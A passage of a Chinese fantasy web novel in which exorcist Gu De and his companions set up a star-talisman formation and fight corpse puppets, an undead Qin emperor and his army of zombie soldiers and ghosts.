旗面上,由古德亲手用金粉混合了雄鸡冠血调和的特殊颜料,书写着四方神君的名号与敕令符咒:
东方青旗:上书“敕令青龙孟章神君镇”,并绘有青龙腾云真形图,威严赫赫。
西方白旗:上书“敕令白虎监兵神君镇”,绘有白虎下山真形,煞气逼人。
南方红旗:上书“敕令朱雀陵光神君镇”,绘有朱雀展翅真形,神火缭绕。
北方黑旗:上书“敕令玄武执明神君镇”,绘有玄武驭水真形,沉稳如山。
接着是中央戊己杏黄旗:
旗面为明黄色的上等贡缎,象征中央戊己土,尊贵稳重。
旗杆更为特殊,是一根竹节钢鞭,既坚且韧,寓意鞭策阴阳,肃清寰宇。
旗面上,以朱砂混合金粉,书写着“敕令中天北斗九皇大帝临坛”的宏大敕令,中央绘制着一个光芒内蕴的八卦太极图。
古德发现,自从昨天成功请来三位神明的一丝神念后,这个世界的星宿之力似乎变得更加活跃和易于引动了,这对他布设沟通星宿的大阵极为有利。
“布阵!”古德一声令下。
他首先指挥谢潮、周星星、于子朗和马季四人,各自手持一面四方镇魔旗,按照指示,分别奔赴盆地的东、南、西、北四个预设方位。
到达指定位置后,他们需将沉重的桃木旗杆深深插入坚硬的黑土之中,直至旗幡稳稳立住。
然后,围绕旗杆底部,用特制的青铜钉和浸泡过**血、朱砂的墨斗线,布下一个简易却有效的“钉头七箭锁”小阵,将旗幡的气场与所在地的地脉之气暂时锁定、连通起来,确保阵旗根基稳固,不受阴煞冲击。
这一步,称为“定四方,锁地气”。
随后,古德亲自上前,双手郑重地捧起那面最为重要的中央戊己杏黄旗。
他稳步走到盆地中央,在那巨大的太极图案边缘站定。
他没有使用任何工具,深吸一口气,体内法力微微鼓荡,双臂一沉,“嘿”的一声,将竹节钢鞭制成的旗杆,硬生生凭借脚力和腰力,踏入了坚硬如铁的黑土地面之下三尺之深!
旗杆入土,稳如泰山!
接着,他以中央旗幡和太极图为核心,手提一个布袋,里面装满了混合了特殊药材和法药的七色米(包括糯米、黑米、高粱、小米等),脚步如丈量般精准,在地上撒出了一个巨大而规整的八卦图形,将中央区域完全覆盖。
这一步,是为“镇中央,御天枢”,确立阵法的绝对核心,沟通天地枢纽。
阵法的主体框架立起后,古德开始布置辅助和增强环节。
他从木箱中取出九盏造型古朴的青铜灯。
这九盏灯形态各异,分别对应日、月、金、木、水、火、土、罗睺、计都这九曜星辰的特征。
灯盏内已经加满了特制的七星灯油。
这是古德用鲸脂、檀香油以及几种辟邪药材秘密熬制而成,燃烧稳定,火光纯净,且能长时间维持剧烈燃烧而不灭。
古德按照天上九曜星图的相对方位,将这九盏青铜星灯精准地放置在八卦阵图的外围相应位置。
这一步,叫做“燃九曜,接
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星力”,旨在接引九天星辰之力,为阵法提供源源不断的能量支援。
最后一步,是构建阵法的束缚与攻击网络。
所有参与布阵的人员,包括后勤人员,每人手持一团浸透朱砂、缠绕着铜丝的墨斗线。
他们以中央旗幡和四方旗幡为固定的支点,在盆地中快速穿梭奔跑,相互配合,弹射出一道道纵横交错、疏而不漏的墨线网络,这些墨线在离地一米左右的空中交织成一张巨大的“天罗地网”。
更妙的是,每根主要的墨线上,都等距离地系着一个个小巧的黄铜铃铛。
而整张“网”上,更是贴满了古德亲手绘制的“六丁六甲破煞符”。
一旦有邪祟触碰网线,不仅会触发铃铛报警,还会引动灵符攻击。
这一步,是为“结灵网,化罗天”,形成最终的囚笼和攻击阵势。
整个布阵过程紧张而有序,足足花费了大半个上午的时间。
当最后一道墨线弹好,最后一张灵符贴稳,时间已近正午。
阳光勉强穿透雾气,照射在盆地中。
虽然环境依旧阴森,但那座融合了四方、五行、八卦、九曜之力的“九曜缚龙·玄枢镇魔大阵”已然成型!
五色旗幡在微风中轻轻摆动,九盏青铜灯静静伫立,空中的墨线网络在光线下若隐若现,散发出一种无形的肃杀与威严之气,将中央那口诡异的太极井牢牢锁定在阵中。
古德抹了一把额头上的细汗,看着眼前初具规模的阵法,满意地点了点头。
他招呼众人:“大家辛苦了!阵法已成,先休息一下,吃点东西,补充体力。真正的硬仗,在下午申时!”
众人闻言,也都松了口气,纷纷找地方坐下,拿出干粮和水,开始午餐。
盆地周围的气氛,在紧张的布阵结束后,暂时缓和下来,但每个人都知道,
这只是暴风雨前的宁静。
下午四点,才是决定成败的关键时刻。
第159章 阵起,尸傀出
简单而迅速的午餐过后,时间在紧张而压抑的气氛中悄然流逝。
盆地周围的空气仿佛凝固了一般,连海风似乎都刻意避开了这片区域。
午后阳光努力穿透薄雾,却在接近盆地时显得力不从心,光线变得有些扭曲。
接近申时(下午三点),郑立和高彦博也匆匆从村中赶来汇合。
他们脸上带着兴奋与紧张交织的神色,显然与神像的初步沟通颇为顺利,眼中比之前多了几分不一样的精气神。
古德对他们点了点头,没有多问,现在不是细聊的时候。
古德站在盆地中央,那面戊己杏黄旗之下,抬头望天。
日头已经开始西斜,阳光的颜色逐渐变得金黄,角度也越发倾斜。
他手中的手表,指针一分一秒地走向下午四点整,申时正刻。
盆地内一片寂静,只有微风偶尔拂过旗幡发出的轻微猎猎声,以及众人压抑的呼吸声。
所有人的目光都集中在古德身上,等待着他启动这座耗费心血布置的大阵。
当时针与分针在表盘上重合的瞬间,古德眼中精光一闪!
他深吸一口气,体内法力如江河奔涌,双手快速结出一个三山诀。
三山诀,寓意凝聚三山五岳之力,稳固根基。
紧接着,他开口朗声诵念,声音清越而富有穿透力,带着一种奇特的韵律,在盆地中回荡,仿佛在与冥冥中的某种伟大存在沟通:
“九曜顺行,元始徘徊。华精茔明,元灵散开!”
(意为:九天星辰依序运行,源自混沌的力量在此萦绕。日月精华璀璨明亮,天地元灵在此散开显现!)
“流盼无穷,降我光辉。上投朱景,解滞豁怀!”
(意为:星辰光芒流转无尽,降临照耀于我阵中。上应朱雀星宿之光,化解滞碍,开阔胸怀!)
“得御飞霞,腾身紫微。锁妖缚魔,秽炁洞开!”
(意为:得以驾驭飞升霞光,感应紫微帝星威严。束缚妖魔,**邪祟,让污秽之气无所遁形!)
“——阵起!”
最后一声“阵起”喝出,如同号令千军万马!
霎时间,异象陡生!
盆地东西南北四个方位,那四面镇魔大旗仿佛被无形巨手握住,猛地剧烈抖动起来!
旗面迎风展开,猎猎作响!
旗面上用金粉鸡**写的符文和神君真形,骤然亮起金红色的耀眼毫光,光芒如同活物般在旗面上流动闪烁,散发出威严磅礴的气息!
几乎在同一时间,按照九曜星图摆放的九盏青铜星灯,灯盏内的火焰“噗”地一声,由普通的橘黄色骤然转变为青白之色!
火焰蹿起尺许高,稳定而炽烈,九道青白色的光柱从灯盏中冲天而起,在盆地半空中交织、融合,形成一片朦胧而不断闪烁的星辉光幕,将整个盆地笼罩在内!
星光洒落,带着清冷而纯净的力量。
“嗡——!”
一阵低沉却清晰的嗡鸣声从地面传来!
那是纵横交错的墨斗线网络被强大的能量场激活,齐齐共振发出的声音!
线上悬挂的无数小铜铃随之急响,“叮叮当当”清脆悦耳,但这悦耳之声中却蕴含着肃杀与警示的意味,仿佛天兵摇动金铃。
下一刹那,一张由无数金色光线构成的、覆盖了整个盆地的巨大光网在空中一闪而现,光芒璀璨,结构繁复玄奥,散发出令人心悸的束缚之力!
光网显现了约一秒钟后,便渐渐隐没于空气之中,但所有人都能感觉到,一张无形的天罗地网已经彻底张开!
整个盆地内的光线变得氤氲而迷离,空气因为强大能量的流动而出现了肉眼可见的扭曲波纹。
阵法汇聚的至阳至刚的肃杀星力,与从中央太极图下方井口中疯狂涌出的阴冷污浊的尸煞之气,如同水火相遇,猛烈地冲撞、交锋!
发出阵阵闷雷般的“隆隆”巨响,震得人耳膜发麻,脚下地面都传来轻微震动。
“轰隆!!!”
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一声更大的巨响从盆地中心传来!
那个五米见方的白色太极图,连同其下的地面,猛地向下塌陷,露出了一个黑黢黢的巨大洞口!
洞口边缘是整齐的石砌井壁,一股比之前浓郁十倍、带着强烈腐朽恶臭的黑色尸气如同火山喷发般从井口汹涌而出,直冲而上,但立刻被空中无形的星辉光幕和阵法力场阻挡、消磨,发出“嗤嗤”的灼烧声。
紧接着,四道白色的身影以极快的速度从漆黑的井口中飞跃而出,轻飘飘地落在塌陷坑洞的边缘!
这是四个穿着破烂古代白色衣袍的“人”,两男两女。
他们的皮肤呈现一种死灰般的白色,但脸上、手上等裸露的皮肤大面积溃烂,五官扭曲,眼神空洞而呆滞,却又散发着对生者血肉的极度渴望。
他们张开嘴,露出尖锐的黑黄色牙齿,发出“嗬嗬”的低沉嘶吼。
“尸傀!”
古德眼中淡金色的光芒一闪,瞬间看透了它们的本质。
这正是电影中出现过的那四个被秦尸控制的傀儡。
不过,眼前这四个尸傀散发出的尸气相当浓烈,显然在井下阴脉中滋养多年,实力远超普通僵尸,已经达到了跳僵的层次,寻常刀剑难伤,而且不再畏惧阳光!
然而,它们刚跳出井口,试图冲向生人气息最浓的阵外方向时,笼罩盆地的“九曜缚龙·玄枢镇魔大阵”立刻发挥了作用!
一股无形的巨大压力从四面八方袭来,如同陷入泥沼,让它们的动作瞬间变得迟缓、僵硬,仿佛身上背负了千斤重担,只能勉强在地面蹒跚移动,再也无法跳跃自如。
古德见状,冷静地向后撤了几步,退出核心区域,这些小喽啰就给其他人练手。
他沉声道:
“阿潮,阿星,子朗,马季!这四个尸傀交给你们处理!石敢当从旁策应!速战速决!”
“明白!”“收到!”“搞定它们!”
四人早已严阵以待,闻令立刻行动!
第160章 尸傀灭,秦尸出关
谢潮和周星星对视一眼,默契十足。
两人同时抽出一根长约一米的短棍,熟练地“咔哒”一声对接,变成一根长约两米、坚固趁手的打鬼棒。
这棒子虽是木头所制,但经过特殊祭炼,刻有破邪符文,对付这种僵尸同样有效。
谢潮步伐沉稳,棒法凌厉,直取一个男性尸傀的中路,棒头带着破风声直点其胸口膻中穴,这一般都是僵尸的尸气节点。
周星星则步伐灵活,嘴上还不闲着:“喂,白脸兄,几百年没刷牙了吧?口气这么大!”
手中长棒却毫不含糊,专扫下盘,干扰尸傀重心。
马季则是另一种风格。
他双枪在手,眼神锐利如鹰。
他没有贸然近身,而是游走在战圈外围,灭魂枪枪口闪烁着微光。
他并不轻易开枪,而是在等待时机。
当于子朗冒险贴近一个女性尸傀,险些被其利爪划伤时,马季眼神一凝,“砰”一声精准的点射,特制**击中尸傀的手腕,打得它一个踉跄,为于子朗创造了绝佳机会。
石敢当虽然灵体还未完全恢复,但经验丰富。
他悬浮在半空,双手虚按,调动体内微弱的土行灵力。
地面上的黑土微微蠕动,在谢潮和周星星脚下适时升起小型的土盾或土坎,格挡尸傀的扑击,或者绊住它们的脚步,为二人提供宝贵的防护和策应。
他的支援悄无声息,却每每在关键时刻起到作用。
于子朗是四人中身手最敏捷的,他使用的是一把尺半长的青铜短刃,刃身经过古德亲手开光,刻有破煞符文,寒光闪闪。
他像一只灵猫,利用速度优势,在尸傀身边穿梭,寻找破绽。
他的攻击不追求力量,而是精准和狠辣,专挑尸傀的关节、脖颈、还有后心等薄弱部位下手。
青铜短刃划过,往往带起一溜黑绿色的污血和嗤嗤作响的尸气。
战斗并非一帆风顺。
尸傀力大无穷,指甲锋利如刀,而且没有痛觉,悍不畏死。
一次合围中,一个男性尸傀猛地撞开周星星的格挡,利爪直掏他的心窝!
周星星吓得怪叫一声:“我靠!玩真的啊!”
幸好石敢当及时凝聚一面厚土盾挡了一下,谢潮趁机一棒重重砸在尸傀后脑,将其击退。
“用符!”谢潮看准时机大喊。
四人默契地同时后撤半步,迅速从怀中掏出早已准备好的五雷符!
法力灌注,符纸瞬间激活,闪烁着蓝色电光!
“去!”
四张五雷符如同离弦之箭,精准地贴在了四个尸傀的额头或胸口!
“噼里啪啦——!”
刺眼的蓝色电光在尸傀身上炸开!至阳雷力正是阴邪尸气的克星!
尸傀们发出凄厉的惨叫,身体剧烈抽搐,冒起阵阵黑烟,动作瞬间僵直!
“就是现在!”
于子朗眼神一亮,身形如电,手中青铜短刃化作一道寒光!
“噗!噗!噗!噗!”
他精准而迅速地绕场一周,锋利的短刃深深地刺入了每一个尸傀的心脏部位!
刃身上的破煞符文亮起,瞬间摧毁了它们体内的尸气核心!
四个尸傀的动作彻底停滞,眼中的凶光熄灭,直挺挺地向后倒去。
古德一直冷静地观察着战局,见尸傀被解决,立刻上前。
他手指夹着四张黄色的火符,随手一甩,符纸无火自燃,准确地落在尸傀身上。
“轰!”
炽热的阳火瞬间将四具尸傀吞没,火焰呈橘黄色,带着净化之力。
尸体在火焰中迅速蜷缩、碳化,最后化为一小堆灰烬,连那令人作呕的恶臭也随之消散。
就在尸傀被消灭的同时,阵法汇聚的那道西斜阳光,如同受到指引的金色利剑,精准地直射入深不见底的井口!
“吼——!!!”
井底深处,猛地传来一声愤怒到极点的咆哮!
这咆哮声不似人声,充满了暴戾、阴冷和一种被触犯权威的狂怒!
声音穿透井壁,震得整个盆地都在微微颤抖!
紧接着,众人感到脚下的地面开始有节奏地震动起来!
“咚!咚!咚!咚!”
仿佛有千军万马,迈着整齐划一、沉重无比的步伐,正从地底深处向上行进!声音越来越近,越来越响!
“后退!所有人,立刻退到自己负责镇守的旗幡方位!”古德脸色一肃,大声喝道!
众人闻言,毫不迟疑,谢潮、周星星、于子朗、马季(带着石敢当)以及后勤人员,迅速按照之前的部署,奔向东南西北四个方向的镇魔旗位置。
古德自己则稳立中央杏黄旗下,双手印诀一变,口中低喝:“天罗地网,缚!落!”
他话音刚落!
“轰!!!”
一声惊天动地
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的巨响!那口石砌的井口猛然炸开!
碎石纷飞中,一道高大魁梧、身穿玄黑色绣金龙袍、头戴十二旒冕的身影,裹挟着滔天黑气,冲天而起!
正是那具被**了三百年的秦尸!
然而,它刚跃起不到三米高,空中那层无形的星辉光幕和金色光网骤然显现,一股庞大无比的**之力轰然压下!
“砰!”
秦尸如同撞上了一堵无形的铜墙铁壁,身形一滞,发出一声不甘的怒吼,被硬生生地压回了地面,重重地落在塌陷坑洞的边缘!
它站定了身形。
只见它面容腐烂严重,眼窝深陷,闪烁着骇人的红光,但身姿依旧挺拔,带着一种久居上位的霸道与威严。
那身龙袍虽然陈旧,却难掩其曾经的尊贵。
而就在秦尸落地的同时,那炸开的井口内,如同打开了地狱之门!
“嗖!嗖!嗖!嗖!”
一道道身披破烂古代兵甲的身影,如同潮水般从井口蜂拥而出!
它们动作僵硬,面色青黑,眼中冒着绿光,发出“嗬嗬”的嘶吼。
数量极多,瞬间就填满了那个塌陷形成的大坑,密密麻麻,挤作一团,看上去就像一个恐怖的万人尸坑!
这些都是当年随船**、后被封印的官兵所化的兵甲僵尸!
这还没完!
井口中又飘荡出无数半透明的、穿着同样兵甲的鬼影!
它们悬浮在坑洞上方,发出凄厉刺耳的鬼哭狼嚎之声,眼中充满了三百年的怨恨与戾气!
这些鬼魂的怨气极重,个个都达到了恶鬼甚至厉鬼的层次!
鬼影重重,与坑底的僵尸群形成了立体式的恐怖攻势!
更令人心惊的是,随着秦尸的彻底出世和这大量阴邪之物的涌现,盆地上的天空,竟然凭空汇聚起浓密的乌云!
乌云低垂,迅速遮蔽了西斜的太阳,天色骤然暗淡下来,仿佛提前进入了黑夜!
阵阵阴风呼啸而起,卷起地上的黑土,气温骤降!
古德眼神凝重地看着那站在坑洞边缘,暂时没有任何动作,只是用双眼扫视着阵法的秦尸,心中凛然:
“这秦尸的道行……果然如我预测的一样,不像电影里那么拉胯!这刚一现身,其自带的庞大阴气,竟然能直接引动天象变化,遮蔽日光!看来,一场恶战在所难免了。”
盆地之内,群魔乱舞,乌云压顶,大战一触即发!
第161章 于子朗的第一次请神
那身着玄黑龙袍、头戴十二旒冕的秦尸,自破井而出,被阵法之力硬生生压回地面后,并未立刻暴起发难。
它那双深陷眼窝中跳动的血红光芒,先是冰冷地扫过笼罩盆地的“九曜缚龙·玄枢镇魔大阵”,光幕在目光触及处泛起细微涟漪,显示出阵法强大的禁锢之力。
最终,它的目光越过坑洞边缘那些密密麻麻、嘶吼不断的兵甲僵尸和厉鬼,牢牢锁定在中央杏黄旗下,持剑而立的古德身上。
令人意外的是,它那腐烂的嘴角竟然扯动了一下,露出一个堪称“笑容”却无比瘆人的表情,发出一种如同两块生锈铁片摩擦般沙哑、却又带着几分居高临下蛊惑意味的声音:
“小辈……”
它甚至用上了古老的称谓,“观你骨龄不过二十有余,竟能布下此等沟通星宿、**地脉的玄妙阵法,着实令朕……讶异。”
它顿了顿,似乎在斟酌词句,“你我之间,本无宿怨。朕被困于此三百载,不过欲求一线生机,重见天日而已。”
它抬起一只指甲乌黑尖长的手,指了指脚下深不见底的井口:
“此井之下,乃朕昔日寝陵陪葬之金银珠玉、法器珍玩,价值连城。只要你……撤去此阵,放朕离去,井下所有财宝,尽数归你,如何?”
见古德面无表情,它又加重了筹码,声音压低,带着一丝诡异的诱惑:
“此外,朕可欠你一个人情。他日若遇棘手之事,或许朕……可助你一臂之力。小辈,此等交易,于你而言,有百利而无一害。何必为了这些早晚会化作黄土的凡人,与朕拼个你死我活?”
古德闻言,眉头微微一挑,心中确实有些讶异。
这秦尸的灵智之高,远超寻常僵尸,不仅能清晰有条理地交流,甚至还懂得审时度势、利诱谈判。
显然在井下三百年,它不仅滋养了尸身,魂魄意识也并未完全泯灭,反而变得更加狡猾难缠。
‘果然成了气候的老僵,没一个好相与的。’古德心中冷笑。
他深知邪祟之言不可信,尤其是这种积年老魔,承诺如同泡影。
更何况,放任此等凶物出世,必是苍生大劫,他岂会为区区财宝而动心?
“呵!”
古德脸上露出毫不掩饰的厌恶和讥诮,声音清朗,打断了秦尸的话语:
“叽里呱啦的废话真多!你在那阴湿井底埋了三百多年,浑身那股陈年腐尸的恶臭,隔着八百里都能熏死苍蝇!一张嘴更是臭气熏天!还想跟小爷谈条件?先让你尝尝我这把剑的滋味,醒醒脑子再说!”
话音未落,古德不再迟疑!
他深知先下手为强的道理,更不愿在口舌上与之纠缠。
只见他右脚猛地一跺地面,“嘭”的一声闷响,身形已如离弦之箭般电射而出!
同时,他反手拔起一早插在身旁地上的那柄沉重青铜阔法剑!
“嗡——!”
剑身出土的瞬间,发出一声清越的嗡鸣!
古德体内《黄庭内景玉经》修炼出的精纯法力瞬间澎湃运转,周身上下泛起一层淡淡的、却凝实无比的金色毫光,如同给他披上了一层金色战衣,散发出中正平和的纯阳气息。
他手中的青铜阔剑更是被金光浸染,剑身之上隐约有玄奥符文流转,散发出凛然不可侵犯的威严!
“荡秽七式!”
古德低喝一声,声随人走!
只不过这时,挤在深坑的僵尸也冲出了不少,挡在了秦尸面前。
古德剑锋一转,只能先掠至那些兵甲僵尸,先试试这些僵尸的成色。
“新第一式·燎原!”
手中青铜阔剑猛然横扫!
剑势如燎原之火,迅猛无比!
剑刃之上,“轰”地一声燃起炽烈的金色阳火,热浪扑面!
剑光过处,如同烧红的烙铁切入黄油,瞬间将三具刚刚爬出坑洞、张牙舞爪扑来的跳僵逼得连连后退!
金色火焰灼烧着它们身上的尸气和破烂盔甲,发出“嗤嗤”的声响,冒出滚滚黑烟,僵尸发出痛苦的嘶嚎!
然而,坑中的僵尸数量实在太多,仿佛无穷无尽!
更多的跳僵如同嗅到血腥味的鲨鱼,从四面八方涌来,它们动作僵硬却力大无穷,乌黑的利爪带着腥风,悍不畏死地抓向古德!
空中的厉鬼也发出尖啸,化作一道道扭曲的黑影,试图缠绕、干扰他的心神!
就在古德瞬间陷入重围的刹那。
“阿德撑住!我们来也!”
谢潮、周星星、于子朗三人对视一眼,眼中没有丝毫犹豫,瞬间达成了默契。
按照古德战前嘱咐,开打即请神,速战速决,清剿杂兵!
周星星永远是行动最快的那个。
他怪叫一声,抄起那根两米长的拼接式打鬼棒就冲了出去,一边跑,一边扯开嗓子,用他那特有的腔调,大喊出他二改后的请神咒:
“曾经有一份真诚的请神机会放在我面前,我没有珍惜,等到失去的时候才后悔莫及,人世间最痛苦的事莫过于此。
如果上天能够给我一个
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再来一次的机会,我会对那个神仙说三个字:快上身!
如果非要在这份请神上加一个期限,我希望是——一万年!”
“嗡!”
他身体猛地一震!
双眼之中骤然爆射出灼灼的金色光芒!
一股炽热、狂放、带着不屈战意与不羁野性的赤红色神力,如同火山喷发般从他体内汹涌而出,瞬间笼罩全身!
他手中那根原本普通的打鬼棒,在这股磅礴神力的灌注下,瞬间变得通体赤红,棒身隐约浮现出龙鳞般的纹路,重量和质感仿佛都发生了翻天覆地的变化,散发着惊人的热量和威压,越来越像传说中那根定海神针金箍棒的仿品!
周星星整个人的气质也为之一变,充满了自信与强大的气场。
谢潮的风格则截然不同。
他紧随周星星之后,步伐沉稳,气息内敛。
他没有大喊大叫,而是用一种低沉而坚定的语气诵念:“爱你一万年!”
话音落下,一片纯净、祥和却蕴含无边威严与智慧的乳白色佛光自他体内弥漫开来!
佛光在他头顶隐隐结成一朵圣洁的莲花虚影,缓缓旋转,洒下清辉。
他手中的打鬼棒,在佛光浸润下,形态也发生了微妙变化,线条更加硬朗、简洁,带着一种机械般的精密感,与周星星那根狂野霸气的“金箍棒”形成了鲜明的对比。
谢潮的眼神变得更加深邃慈悲,却又带着金刚怒目的威严。
这正是他们随着时间推移,与所请神祇沟通越深,自身法力特质外显的结果。
于子朗毕竟是第一次实战请神,脸皮远没有周星星和谢潮那么厚。
他俊脸微红,有些不好意思,但动作却不慢,一边前冲,一边用最快的语速、几乎含在嘴里般念出了自己觉得有点羞耻的请神咒:
“有请那位玉树临风、仙风道骨、智慧超群、人见人爱、花见花开、在仙界风靡万千仙女姐姐的太白金星!”
有一说一,这咒语是他大号能整出来的风格。
下一刻,一股清灵、飘逸中透着睿智与洒脱的金青色仙光萦绕在于子朗周身。
他手中那柄青铜短刃发出“铮”的一声清越剑鸣,剑身竟然延伸出三尺长、青濛濛、凝练无比的剑芒,锐气逼人,仿佛可以切割万物!
于子朗感觉自己的思维变得异常清晰,身法也更加轻灵。
三人请神成功,气势暴涨,如同三支注入神力的利箭,瞬间冲入战团,与古德汇合,帮他挡住了来自四面八方的僵尸和厉鬼!
第162章 开团秒跟(写嗨了,这章一起发了)
阵法边缘的马季没有选择近身肉搏,他发挥自己的特长,在外围快速游走,双枪在手,眼神锐利如鹰。
他一边移动,一边低声念诵破邪咒辅助:“天地自然,秽气分散!”
同时,他将法力灌注到特制的灭魂枪中,“砰!砰!砰!”枪口喷出火焰,赤红色的符文**划破空气,精准地射向空中飘荡、试图偷袭的厉鬼。
每一枪命中,都会让一个厉鬼发出凄厉惨叫,魂体剧烈波动,甚至直接消散!
但他的火力在面对如同潮水般涌来的鬼物时,依然显得有些杯水车薪,只能重点清除威胁较大的目标。
石敢当此刻也拼尽了全力。
他悬浮在半空,双手连连挥动,调动着所剩不多的土行灵力。
盆地那黑色的土地在他的引导下微微蠕动,在谢潮、周星星和于子朗身边适时地升起坚实的石盾格挡僵尸的利爪扑击,或者形成矮小的石墙阻碍僵尸的前进,为三人提供了宝贵的防护和策应。
他的支援悄无声息,却每每在关键时刻起到作用,化解危机。
后勤组的人员则紧张地护着郑立和高彦博,这是古德藏着的底牌。
几人退到了盆地边缘预先设置好的、由几面小旗和符箓构成的简易防**阵内。
他们手中紧握着装配了特殊弹头的**和护身法器,紧张地注视着战场,随时准备应对可能突破主战场的漏网之鱼。
有了三人的强力支援,古德压力大减。
谢潮一棒裹挟着沛然佛光,将一个跳僵的头颅敲得粉碎,对古德喊道:
“阿德!这里交给我们!你去专心对付那个大家伙!这群早就该入土为安的家伙,就让佛爷我大发慈悲,超度它们去往西天极乐世界!”
他的声音中带着一股前所未有的庄严和慈悲,却又蕴含着强大的力量。
周星星则更加直接狂野,手中“金箍棒”一个势大力沉的横扫,将扑来的几只跳僵和恶鬼像打保龄球一样扫飞出去,嚷嚷道:
“超度什么超度!跟这些**几百年的老古董讲什么慈悲!统统给我再死一遍!!”
棒风呼啸,霸气十足。
于子朗身法灵动,金青色剑芒如灵蛇出洞,迅速将几个被周星星扫飞、失去平衡的僵尸补刀刺穿,然后对古德有些不好意思却坚定地说:
“阿德,我尽力多杀几个!不过我请来的神力,没有阿潮和阿星那么……雄厚,怕是坚持不了多久。”
他的攻击更注重技巧和精准,剑芒所至,僵尸的关节、要害纷纷被破。
古德看到三人请神后战力飙升,虽然风格迥异,但配合却逐渐默契,心中一定。
这就是有团队的好处,可以将后背放心地交给值得信赖的伙伴,不必一个人面对所有压力。
不是有那句话叫:不会带团队,只会自己干到死。
“好!这里就交给你们了!小心应对!”
古德点头,不再犹豫。
他看准时机,脚下法力一吐,地面微陷,身体已腾空而起,跃至半空,手中青铜阔剑划出一道金色弧线,直指一直站在坑边,似乎在看戏、实则气息锁定了他的秦尸!
古德在跃起的过程中,手腕极其隐蔽地一翻,一张闪烁着刺眼蓝色电光的五雷符,不知何时已经如同贴纸般,悄无声息地贴在了宽阔的剑脊之上!
符箓与剑身法力瞬间共鸣,“噼啪”之声爆响!
刺眼的雷光如同活物般迅速缠绕上整个剑身,将青铜阔剑化作一柄金色的雷霆之刃!
古德人剑合一,化作一道撕裂昏暗天色的金蓝闪电,以迅雷不及掩耳之势,朝着秦尸的头顶百会穴猛劈下去!
这一剑,名为出疆!斩龙!
那秦尸原本一副掌控全局、睥睨众生的模样,血红的眼中甚至还带着一丝对古德“不识抬举”的嘲弄。
它似乎没料到古德如此果决,且攻势如此凌厉诡异,竟然将符法暗藏于剑招之中!
秦尸眼中闪过一丝惊讶
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,随即化为被挑衅的暴怒!
“来的好!不知天高地厚的小辈!”
秦尸发出一声低沉如闷雷的咆哮,反应却是极快!
它猛地抽出一直悬挂在腰间的一柄样式古朴、剑身暗沉、却散发着浓烈如墨阴煞之气的青铜宝剑,剑身一震,带起一股腥风,迎着古德那雷霆万钧的一剑,悍然格挡!
它的动作看似随意,却蕴含着恐怖的力量和速度!
“铛——!!!!!!”
一声震耳欲聋、仿佛能撕裂灵魂的金属撞击巨响在盆地中猛然炸开!
声音形成的音浪肉眼可见地扩散开来,震得人耳膜嗡嗡作响,连远处旗幡都剧烈晃动!
金光与黑气以两剑交击点为中心,猛烈冲突、挤压、湮灭!
发出“嗤嗤嗤”如同烧红铁块浸入冰水般的剧烈声响!
一圈混合着金色光点和黑色碎屑的能量冲击波向四周扩散,将靠近的几只僵尸都掀飞出去!
然而,古德剑身上那五雷符所蕴含的至阳至刚的雷霆之力,乃是天下阴邪之气的绝对克星!
秦尸的尸煞之气虽然雄厚精纯至极,但在属性上被雷霆死死克制!
只见一道格外耀眼的蓝色电蛇,竟然顽强地穿透了层层尸气的阻挡,顺着秦尸的宝剑剑身,如同跗骨之蛆般,瞬间窜到了它握剑的右手手腕之上!
“呃啊——!!!”
秦尸猝不及防,发出一声痛苦而又充满惊怒交加的惨嚎!
这雷霆之力对它这种至阴至邪的尸王之体伤害极大!
手腕处顿时冒起一股浓烈的黑烟,传来皮肉焦糊的刺鼻气味,那坚逾精钢的皮肤竟然被电得一片焦黑!
它那原本从容不迫、一切尽在掌握的姿态,第一次被彻底打破,血红的眼中充满了难以置信和暴戾的杀意!
这出其不意的初次交锋,古德凭借暗藏的后手和属性的绝对克制,占了一丝上风!
但也彻底激怒了这具沉睡三百年的恐怖尸王!
第163章 秦尸的恐怖能力
古德借着双剑交击的反震之力,一个灵巧的空中翻身,如同鹞子般稳稳落回地面,脚下尘土微扬。
他抬眼望去,只见秦尸被雷光击中的手腕处黑烟缭绕,焦糊味隐隐传来,那具恐怖的尸身微微颤抖,显然五雷符的至阳之力让它吃了不小的苦头。
“果然,雷法对这至阴至邪的玩意儿克制效果显著!”
古德心中一定,但丝毫不敢大意。
他深知趁他病要他命的道理,体内法力再次奔腾,迅速汇聚于左掌掌心。
只见他掌心之中,刺眼的白色电光急速凝聚,发出“噼啪”爆响!
“敕!”
古德低喝一声,左掌猛地向前一推!
一道碗口粗细、炽亮夺目的弧形闪电,如同出洞的银蛇,撕裂空气,带着灼热的气浪和震耳的轰鸣,直劈向十余步外的秦尸!
这正是道门基础的攻伐术法——**!
那秦尸刚吃了雷法的亏,眼见又一道更凶猛的雷弧射来,血红的眼中闪过一丝暴怒与忌惮。
它不敢再托大硬接,周身浓稠如墨的尸煞之气瞬间沸腾翻滚,如同实质的黑色铠甲般凝聚在身前!
“轰!”
雷弧狠狠撞在尸气屏障之上,爆发出震耳欲聋的巨响!
银白色的电光与漆黑的尸气猛烈冲撞、湮灭,发出“嗤嗤”的刺耳声响,光芒四射,照亮了昏暗的盆地!
僵持片刻后,雷弧能量耗尽,消散于空中,而秦尸身前的尸气屏障也明显稀薄了几分,剧烈波动起来。
“吼!”
秦尸发出一声愤怒的咆哮,它彻底被激怒了!
只见它不再被动防御,而是顶着**的残余冲击,周身裹挟着更加汹涌澎湃的黑色尸气,如同一辆失控的黑色战车,迈开沉重的步伐,轰隆隆地朝着古德猛冲过来!
每踏出一步,都在坚硬的黑土地上留下一个深深的脚印,地面为之震颤!
更令人心悸的是,在冲锋的同时,秦尸猛地张开那腐烂的大口,喉咙深处绿光一闪,一股腥臭无比、呈现出墨绿色的浓稠毒雾,如同高压水枪般喷射而出,直袭古德面门!
这尸毒极其恐怖,毒雾所过之处,连坑洼地带的黑色岩石表面都被腐蚀得“滋滋”作响,迅速融化凹陷,冒出阵阵青烟,可见其毒性之烈!
面对这物理与毒术的双重打击,古德面色凝重,却并不慌乱。
他心念一动,体内《黄庭内景玉经》的法力全力运转,周身上下那层淡金色的护体毫光瞬间大盛,光芒变得凝实而耀眼,如同给他披上了一层金色的琉璃铠甲!
“嗤嗤嗤——!”
墨绿色的尸毒毒雾撞上金色光罩,仿佛冷水泼在烧红的铁板上,立刻发出剧烈的反应声!
毒雾被金光死死挡住,并以肉眼可见的速度迅速消散、净化,无法侵入分毫!
然而,古德也能清晰地感觉到,维持这金光咒抵御如此猛烈的尸毒,对自身法力的消耗急剧增加,如同开了闸的洪水般飞速流逝!
